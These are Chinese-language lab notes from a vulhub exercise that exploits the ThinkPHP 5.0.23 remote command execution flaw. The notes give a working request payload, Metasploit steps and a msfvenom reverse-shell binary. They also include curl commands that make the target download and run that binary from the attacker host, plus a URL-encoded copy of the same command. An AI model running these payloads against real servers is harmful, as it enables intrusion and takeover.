导论:
thinkphp远程命令执行漏洞
php的一个开发框架,5,0.23及以前的版本中,获取method的方法中没有正确处理方法
名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行
PHP框架【对象、类、函数、数组】
192.168.31.30为kali攻击机;192.168.31.221为靶机
cd /root/vulhub/thinkphp/5.0.23-rce
docker-compose up -d
修改三处:
GET请求改为POST
指定类型 Content-Type:application/x-www-form-urlencoded
添加 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
【server[REQUEST_METHOD]表示要访问页面请求的方法】
命令执行成功:uid=33(www-data) gid=33(www-data) groups=33(www-data)
msfdb run 启动msf
show options 查看需要设置哪些参数
设置检测靶机的ip【RHOST】和本机ip【LHOST】并run
MSF实现直接获取权限原理
1、开启4444端口监听
2、检查有没有thinkphp漏洞
3、生成恶意程序
4、开放8080端口,可以让目标机从8088端口下载恶意程序
5、通过漏洞直接执行远程命令:curl -so /tmp/nqlDfdCA http://192.168.31.30:8080/XMFaGEJm9;chmod +x /tmp/nqlDfdCA;/tmp/nqlDfdCA;rm -f /tmp/nqlDfdCA
6、接收反弹she11
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.30 LPORT=5555 -f elf -o /var/www/html/door_5555
curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -so /tmp/door_5555 http://192.168.31.30/door_5555;chmod +x /tmp/door_5555;/tmp/door_5555;rm -f /tmp/door_5555"
将命令进行编码:
curl http://192.168.31.221:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%63%75%72%6c%20%2d%73%6f%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%31%2e%33%30%2f%64%6f%6f%72%5f%35%35%35%35%3b%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35%3b%72%6d%20%2d%66%20%2f%74%6d%70%2f%64%6f%6f%72%5f%35%35%35%35"